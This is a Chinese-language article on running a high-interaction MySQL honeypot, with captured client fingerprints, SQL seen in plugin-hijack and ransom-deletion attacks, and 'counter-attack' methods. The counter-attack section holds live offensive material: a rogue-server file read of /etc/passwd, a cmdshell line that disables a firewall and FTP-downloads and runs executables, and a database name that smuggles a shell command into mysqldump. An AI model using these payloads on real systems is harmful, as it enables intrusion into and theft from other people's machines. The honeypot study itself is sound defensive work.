高交互 MySQL Honeypot
MySQL 服务器作为广泛使用的数据库平台,常常成为攻击者的目标。尤其是在开放了常见端口(如 3306)后,服务器会很快被网络中自动化的扫描机器人发现。这些机器人会尝试通过已知的漏洞或其他攻击手段获取服务器的控制权或窃取数据。在此背景下,高交互 MySQL Honeypot 成为一种有效的安全防御工具,用于捕捉攻击来源和攻击者的行为并分析其攻击手段。
高交互的优势
高交互 Honeypot 是一个模拟真实系统行为的 Honeypot,旨在与攻击者进行互动,以获取更多的攻击信息。相比于仅记录攻击者的基本扫描和连接行为的低交互 Honeypot,高交互 Honeypot 可以模拟完整的服务响应,包括协议细节、认证过程,甚至可以允许攻击者执行部分操作。这种 Honeypot 通过逼真的仿真效果,吸引攻击者长时间地进行操作,从而捕获更多有价值的攻击信息。
高交互的实现
高交互的 MySQL Honeypot 通常使用 Python 工具(如 mysql_mimic)来模拟 MySQL 协议,并记录攻击者的连接属性,例如客户端版本、操作系统、进程 ID 和平台信息。这些数据有助于识别攻击者的环境和攻击策略,为反制措施提供了重要依据。
为了实现高交互的 MySQL Honeypot,我们可以使用 mysql_mimic 工具库。该库能够模拟 MySQL 协议,支持创建一个虚假的 MySQL 服务器。通过该工具,Honeypot 可以接收和解析 MySQL 客户端发来的数据包,并根据预设的规则做出相应的响应。
以下是使用 mysql_mimic 启动 MySQL Honeypot 的基础代码示例:
import logging
import asyncio
from mysql_mimic import MysqlServer, IdentityProvider, User
# 启动模拟的 MySQL 服务器
async def start_honeypot():
server = MysqlServer(identity_provider=IdentityProvider())
server.users.append(User("root", "", ""))
await server.listen(port=3306)
logging.info("MySQL Honeypot 已在 3306 端口启动")
if __name__ == "__main__":
asyncio.run(start_honeypot())
这段代码启动了一个 MySQL Honeypot,通过 mysql_mimic 模拟 MySQL 服务器的行为。它将记录下每个尝试连接的攻击者 IP、客户端版本、操作系统等详细信息,帮助深入分析攻击者的攻击过程和来源。
攻击信息获取
在攻击者连接到 Honeypot 后,MySQL 协议会暴露出大量有用的信息。这些信息不仅可以用于识别攻击者的环境,还可以帮助确定攻击者使用的工具和方法。例如,每次连接都会暴露以下重要属性:
_client_version: 客户端使用的 MySQL 库版本
_os: 客户端的操作系统(如 Linux、Win64 等)
_pid: 客户端进程的 ID
_platform: 客户端的平台(如 x86_64)
_program_name : 客户端的程序名
_thread : 客户端线程的ID (仅在 Windows 下包含).
通过分析这些属性可以得知攻击者使用的是什么样的客户端工具,以及他们可能正在利用什么漏洞。
以下为一些攻击捕获信息示例:
{"_client_name":"MySql Connector/NET","_client_version":"6.9.6.0","_platform":"x86_64","program_name":"Taher SQL Checker.exe","_os":"Win64","_os_details":"Microsoft Windows Server 2012 R2 Standard Evaluation"}
{"_client_name":"mysql-connector-net","_client_licence":"GPL-2.0","_client_version":"8.0.19.0","_os":"Windows-8-6.2","_platform":"x86_32","_os_details":"Microsoft Windows Server 2019 Datacenter","_framework":".NETFramework,Version=v4.7"}
{"_os":"Linux","_client_name":"libmariadb","_client_version":"3.1.21","_platform":"x86_64}
{"_os":"Linux","_client_name":"libmariadb","_client_version":"3.1.21","_platform":"x86_64","program_name":"mysqldump"}
{"_os":"Linux","_client_name":"libmariadb","_client_version":"3.3.8","_platform":"x86_64","_server_host":"x.x.x.x"}
{"_os":"Win32","_client_name":"libmysql","_platform":"x86","_client_version":"5.6.14"}
{"_os":"osx10.11","_client_name":"libmysql","_client_version":"5.7.16","_platform":"x86_64","program_name":"mysql"}
{"_os":"osx10.8","_client_name":"libmysql","_client_version":"5.6.21","_platform":"x86_64"}
{"_platform":"x86_64","_client_version":"8.0.37","_os":"Linux","_client_name":"libmysql"}
常见的 MySQL 攻击手段
1. 插件劫持攻击
该攻击主要通过 MySQL 客户端连接到目标服务器,并利用 MySQL 的漏洞,将恶意共享库文件(.so 文件)写入服务器的 plugin_dir 目录,接着使用该库执行远程代码,从而完全控制服务器的操作系统,进而注入后门或执行其他恶意操作。
攻击特征
{
"_os": "Win32",
"_client_name": "libmysql",
"_platform": "x86",
"_client_version": "5.6.14"
}
攻击者通常会通过一个极旧版本的 MySQL 客户端(如 MySQL 5.6.14,发布于2013年)来进行攻击
这种攻击方式常见于较旧的 MySQL 版本,尤其是 2013-2014 年间发布的版本,它们的安全防护措施较弱,容易被攻击者利用
攻击过程
-
连接 MySQL 服务器: 攻击者首先通过 MySQL 客户端连接到目标服务器,通常使用的是较旧的客户端版本。使用旧客户端版本是为了利用那些较老的 MySQL 服务器的兼容性和安全漏洞。
-
连接到服务器后,攻击者开始执行一系列 SQL 命令,目的是探测服务器的插件目录位置并准备向该目录写入恶意文件。
-
写入恶意共享库文件: 攻击者在连接成功后,首先会尝试将恶意的共享库文件上传到服务器的 plugin_dir 目录中。这个共享库文件通常是 .so(Linux)或 .dll(Windows)文件,攻击者通过 MySQL 的文件操作命令或其他漏洞将其注入到服务器中。
-
一旦文件写入成功,攻击者会让 MySQL 服务器加载该文件,执行其中的恶意代码:
INSTALL PLUGIN malicious_plugin SONAME 'malicious_lib.so';
- 执行远程代码: 加载恶意共享库后,攻击者可以在 MySQL 服务器上执行任意代码,包括对系统进行更深层次的访问。例如,攻击者可以通过 MySQL 的权限提升命令来获得系统的 root 权限,或者启动远程控制进程,从而完全掌控受害的 MySQL 服务器。
2. 删库勒索攻击
该攻击主要利用 mysqldump 工具下载数据库中的表和数据,随后删除服务器上的这些数据,并留下勒索信息,要求受害者支付比特币赎金以恢复数据。
攻击特征
{
"_os": "Linux",
"_client_name": "libmariadb",
"_client_version": "3.3.9",
"_platform": "x86_64"
}
{
"_os": "Linux",
"_client_name": "libmariadb",
"_client_version": "3.1.21",
"_platform": "x86_64",
"program_name": "mysqldump"
}
攻击者通常会使用 MariaDB 等较新版本的客户端库(如 libmariadb 3.3.9)来执行操作,同时,攻击者会利用 mysqldump 程序下载数据库中的信息
攻击过程
- 连接到 MySQL 服务器: 攻击者首先连接到目标 MySQL 服务器,通常使用 MariaDB 等较新版本。连接成功后,会立即探测并列出所有数据库的名称和大小。
SHOW DATABASES SELECT SUM(data_length + index_length) FROM information_schema.tables WHERE table_schema = <db> USE <db> SHOW tables
-
导出数据: 攻击者使用 mysqldump 工具导出数据库中的数据。该工具是 MySQL 数据库的备份工具,允许用户将数据库中的表和数据导出为 SQL 格式的备份文件:
SELECT /*!40001 SQL_NO_CACHE */ `a` FROM `transactions` WHERE 1 LIMIT 10;
攻击者通常不会导出整个表的数据,而是选择性地导出其中的部分内容。导出之后,攻击者会删除这些表或整个数据库。
-
删除数据库: 攻击者在导出数据后,会删除整个数据库或部分关键表:
DROP DATABASE `1111`; DROP DATABASE IF EXISTS `README_TO_RECOVER_TNA`;
-
留下勒索信息: 在删除数据库之后,攻击者会创建一个新数据库或表,并插入勒索信息:
CREATE DATABASE IF NOT EXISTS `README_TO_RECOVER_TNA`; USE `README_TO_RECOVER_TNA`; CREATE TABLE `README` ( `id` int(11) NOT NULL, `Message` text COLLATE utf8_general_ci, `Bitcoin_Address` text COLLATE utf8_general_ci ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci; INSERT INTO `README` (`id`, `Message`, `Bitcoin_Address`) VALUES (1, 'I have backed up all your databases. To recover them you must pay 0.007 BTC (Bitcoin) to this address...');
MySQL 攻击反制方法
1. 客户端任读反制
通过 MySQL 协议,可以利用伪造的 MySQL 服务器通过伪造响应来强制客户端执行任意文件读取。
攻击过程
-
伪造的 MySQL 服务器:模拟一个伪造的 MySQL 服务器,并通过 MySQL 协议与客户端交互。在攻击者连接到 MySQL Honeypot 后,可以发送特定的查询命令,诱使攻击者的 MySQL 客户端执行文件读取操作。
-
读取客户端文件:可以利用类似 RogueSQL.py 的工具,伪造 MySQL 服务器,并强制客户端读取攻击者设备上的文件:
$ wget 'https://raw.githubusercontent.com/jib1337/Rogue-MySQL-Server/master/RogueSQL.py’ $ python2.7 RogueSQL.py -p 3306 -f /etc/passwd
该命令会强制 MySQL 客户端读取其系统中的
/etc/passwd
文件。通过这种方式, Honeypot 能够抓取攻击者设备的关键信息,例如操作系统类型、用户账户等。 -
获取攻击者信息:捕获的信息可以包括客户端系统的重要配置文件,如
/etc/passwd
、C:\Windows\System32\license.rtf
等。通过分析这些文件内容,可以反向推测出攻击者的操作系统版本和设备配置,从而为进一步的防御和反制提供依据
2. 插件劫持反制
该方法通过在获取到攻击者客户端的 DLL 插件调用行为时通过伪造响应,引导攻击者加载恶意 DLL 文件,最终获得 RCE 权限。
攻击过程
-
伪造的插件注入:通过捕捉的 SQL 查询(如插件加载命令)注入恶意插件:
select cmdshell("cmd.exe cmd/c net stop sharedaccess &echo open x.x.x.x>>ge.dat &echo 123>>ge.dat &echo 123>>ge.dat &echo bin>>ge.dat &echo get mstsc.exe>>ge.dat &echo bye>>ge.dat &ftp -s:ge.dat &mstsc.exe&absl.exe&del ge.dat&del mstsc.exe&del mstsc.exe");
通过这种方法,可以利用攻击者客户端的 FTP 服务,将恶意文件上传到攻击者系统中,从而执行远程代码。
-
远程 DLL 加载与执行:在进一步的攻击场景中,可以向攻击者系统中上传恶意的 DLL 文件,并通过 MySQL 插件机制加载这些文件。这些 DLL 文件包含远程代码,一旦加载就能在攻击者系统中实现 RCE。
3. 命令注入反制
mysqldump 工具在导出数据时,处理来自 MySQL 服务器的数据库名和表名。这种处理方式存在缺陷,攻击者可以通过伪造的 MySQL 服务器向客户端发送恶意的数据库名或表名,从而实现命令注入。
攻击步骤:
-
伪造 MySQL 服务器:启动伪造的 MySQL 服务器,并在数据库名或表名中嵌入恶意代码。在 mysqldump 导出过程中,攻击者的工具通常会处理数据库名、表名以及相关的元数据。Honeypot 可以在这些字段中构造出命令注入的内容。
-
恶意数据库名或表名的注入:Honeypot 可以在数据库名中构造类似以下的内容:
schema_name="p$(ps axuf|base64 –w64)" table_name="accounts" SCHEMA = { schema_name: { table_name: { "a": "TEXT", } } } TABLES = { schema_name: { table_name: [ {"a": "aaa"}, ] } }
这里,schema_name 和 table_name 中嵌入了系统命令,通过 MySQL 服务器返回的响应,这些命令会通过 mysqldump 工具传递到客户端。
-
命令执行:当 mysqldump 工具处理这些恶意的数据库名或表名时,它并不会对这些名称进行严格的输入验证,导致系统命令被注入并执行。例如,
ps axuf|base64
这类命令会在客户端上运行,获取当前进程列表并将其编码为 Base64 字符串。